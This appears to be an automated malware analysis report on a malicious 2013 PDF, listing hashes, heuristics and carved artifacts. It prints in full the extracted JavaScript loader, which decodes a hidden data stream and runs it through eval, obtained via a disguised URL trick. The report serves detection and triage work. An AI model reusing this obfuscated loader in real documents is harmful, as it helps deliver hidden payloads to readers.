PDF malware analysis — malicious · ecb06db90504f36b

MALICIOUS

PDF

4.5 KB First seen: 2013-06-27

MD5: 66b70f42f66aa6ffe7c554af62e97519 SHA-1: 8345614f67eb27674deeeb6eb3eab153419a50c0 SHA-256: ecb06db90504f36be74a51d1dd4ad4af0f09c49439248f87ee65122a0ec6b215

76 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: Malicious File

The PDF file contains embedded JavaScript and an embedded binary file, indicated by the PDF_JAVASCRIPT, PDF_JS, and PDF_EMBEDDED heuristics. The embedded JavaScript stream and the embedded binary file ('embedded_file_obj0013.bin') are suspicious artifacts. The presence of these components suggests the PDF is designed to execute malicious code or deliver a secondary payload. The document body content is not human-readable and does not provide further clues.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 5

Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH

A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
JavaScript action low 1 related finding PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Embedded file low PDF_EMBEDDED

PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`embedded_file_obj0013.bin`	pdf-embedded-file	PDF EmbeddedFile object 13 at offset 0x429	79560 bytes
SHA-256: `19c30257d0d7fafc5ebed9afe571fe6f76d58fd49050638388b9845a0fb6dd94`
Detection ClamAV: No threats found Obfuscation or payload: likely 278 of 278 identifiers look randomly generated (e.g. 'EV1PMnP9A5kQfd5V1EV1PMnP9A5kQfd5V2EV1PMn') — consistent with name-mangling obfuscation. Carved artifact contains 101 long base64-like blob(s).
`javascript_obj0008_000.js`	pdf-javascript-stream	PDF /JS object 8 at offset 0x1F1	230 bytes
SHA-256: `30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e`
Preview script First 1,000 lines of the extracted script zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){ zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

Open this report in the interactive analyzer, or submit your own file for analysis.